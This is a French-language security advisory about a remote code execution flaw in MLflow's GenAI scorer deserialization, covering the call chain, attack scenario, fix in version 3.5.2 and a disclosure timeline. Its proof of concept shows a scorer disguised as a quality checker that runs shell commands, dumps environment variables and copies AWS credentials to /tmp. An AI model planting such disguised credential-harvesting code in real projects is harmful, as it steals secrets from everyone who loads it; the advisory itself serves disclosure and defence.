Auteur : Evan Harris
Risque : Élevé
Composant affecté : scorers GenAI de MLflow (mlflow/mlflow)

En bref

Le mécanisme de désérialisation des scorers GenAI de MLflow contenait une vulnérabilité d’exécution de code à distance. L’utilitaire recreate_function() dans scorer_utils.py transmettait des données de scorer contrôlées par l’attaquant (stockées dans la base de données de suivi de MLflow) directement à exec() de Python. Un scorer malveillant enregistré par un utilisateur exécute du code arbitraire sur la machine de quiconque le récupère et l’exécute par la suite, rendant possible une attaque de la chaîne d’approvisionnement sur toute une équipe de ML. Nous avons signalé le problème aux mainteneurs de MLflow, qui l’ont corrigé en restreignant l’enregistrement et le chargement des scorers personnalisés aux environnements contrôlés par Databricks. Les utilisateurs doivent effectuer la mise à niveau vers MLflow 3.5.2 ou une version ultérieure.

Un problème distinct dans MLflow, divulgué le même jour, est traité dans Exfiltration et destruction de données dans MLflow par absence de validation de l’Origin (DNS rebinding).

Contexte

Le module GenAI de MLflow permet aux équipes de définir des scorers, des fonctions Python qui évaluent la qualité des sorties d’un LLM (vérifications de longueur, sécurité du contenu, mise en forme, etc.). Les scorers peuvent être écrits avec le décorateur @scorer, enregistrés par rapport à une expérience, puis récupérés par leur nom avec get_scorer(), de sorte que les collègues puissent réutiliser une évaluation partagée.

Pour que cela fonctionne, MLflow sérialise la fonction sous-jacente du scorer et la stocke dans la base de données de suivi. Lorsque le scorer est récupéré, MLflow reconstruit la fonction à partir de ces données stockées. L’étape de reconstruction est l’endroit où résidait la vulnérabilité : le code source sérialisé était reconstitué en appelant exec() de Python, qui exécute n’importe quel code qui lui est fourni. Comme les données stockées sont entièrement contrôlées par l’attaquant, quiconque pouvait enregistrer un scorer pouvait y placer du code qui s’exécuterait dans le processus d’un autre utilisateur.

Aperçu

La vulnérabilité est déclenchée le long d’une unique chaîne d’appels de désérialisation qui se termine dans exec() :

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

La chaîne d’appels est la suivante :

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Scénario d’attaque

  1. Un attaquant écrit un scorer qui semble légitime (un « vérificateur de qualité » avec une docstring crédible) mais dissimule une charge malveillante dans le corps de la fonction.
  2. L’attaquant distribue le scorer par un canal auquel la victime fait confiance : un paquet PyPI, un dépôt GitHub d’équipe ou un module Python partagé.
  3. Une victime importe le scorer et l’enregistre dans MLflow. La fonction sérialisée est écrite dans la base de données de suivi.
  4. Plus tard, éventuellement sur une machine différente, par un autre membre de l’équipe, des jours ou des semaines après, quelqu’un récupère le scorer avec get_scorer() et l’utilise.
  5. Pendant la désérialisation, recreate_function() appelle exec() sur le code source stocké. La charge dissimulée s’exécute avec tous les privilèges du processus de la victime.

Comme le déclencheur est découplé dans le temps et entre les utilisateurs de l’enregistrement, l’attaque est silencieuse : un unique scorer malveillant enregistré une seule fois peut compromettre tous les membres de l’équipe qui le récupèrent par la suite.

Preuve de concept

Le scorer malveillant ci-dessous se présente comme un vérificateur de la qualité des sorties. Le corps contient une charge qui dépose un fichier témoin, exfiltre les variables d’environnement et récolte les identifiants AWS avant de renvoyer un résultat plausible pour éviter tout soupçon :

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

La victime récupère le scorer partagé comme elle le ferait normalement :

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

Puis l’utilise :

result = scorer(outputs="This is test output to evaluate")

À ce stade, la RCE se déclenche et la charge s’exécute dans le processus de la victime.

Impact

Selon la charge transportée dans les données non fiables du scorer, un attaquant peut :

  • Exécuter du code Python arbitraire avec tous les privilèges du processus de la victime
  • Exfiltrer des données sensibles telles que des identifiants, des variables d’environnement et du code source
  • Récolter des identifiants depuis des emplacements courants (AWS, Docker, SSH)
  • Établir une persistance sur la machine de la victime
  • Effectuer un déplacement latéral et une reconnaissance réseau

L’impact est amplifié par la nature de chaîne d’approvisionnement de la faille : un unique scorer malveillant enregistré par un seul membre de l’équipe peut compromettre chaque utilisateur qui le récupère par la suite, le déclenchement se produisant silencieusement bien après l’enregistrement.

Réponse de MLflow

Après que nous avons divulgué le problème via le processus de divulgation coordonnée de MLflow, les mainteneurs l’ont traité dans la pull request #18493.

Plutôt que de tenter d’isoler dans un bac à sable ou de valider le code source désérialisé, les mainteneurs ont supprimé la capacité dangereuse en dehors des environnements contrôlés : l’enregistrement et le chargement de scorers personnalisés basés sur du code sont désormais restreints aux environnements de suivi Databricks, où l’ensemble des utilisateurs pouvant téléverser des scorers est contrôlé. Les utilisateurs d’autres backends de suivi sont orientés vers des alternatives plus sûres, telles que les scorers intégrés et les scorers basés sur make_judge(), qui ne nécessitent pas l’exécution de code arbitraire pendant la désérialisation.

Le correctif a été livré dans MLflow 3.5.2.

Recommandations

Pour les utilisateurs finaux

  • Effectuez la mise à niveau vers MLflow 3.5.2 ou une version ultérieure.
  • N’enregistrez et ne récupérez des scorers personnalisés qu’à partir de sources en lesquelles vous avez pleinement confiance.
  • Traitez les données de scorer d’une base de données de suivi comme du code non fiable, et non comme des données inertes. Quiconque peut écrire dans le magasin de suivi peut exécuter du code chez chaque consommateur.
  • Privilégiez les scorers intégrés ou les scorers make_judge(), qui n’exécutent pas de code arbitraire pendant la désérialisation.
  • Restreignez l’accès en écriture aux bases de données de suivi partagées et examinez les scorers avant de les réutiliser au sein d’une équipe.

Chronologie

Date Événement
20 octobre 2025 Vulnérabilité signalée aux mainteneurs de MLflow via une divulgation coordonnée (issue #18404)
24 octobre 2025 MLflow fusionne le correctif (PR #18493), publié dans la v3.5.2
8 janvier 2026 huntr a marqué le problème comme doublon
8 juin 2026 Divulgation publique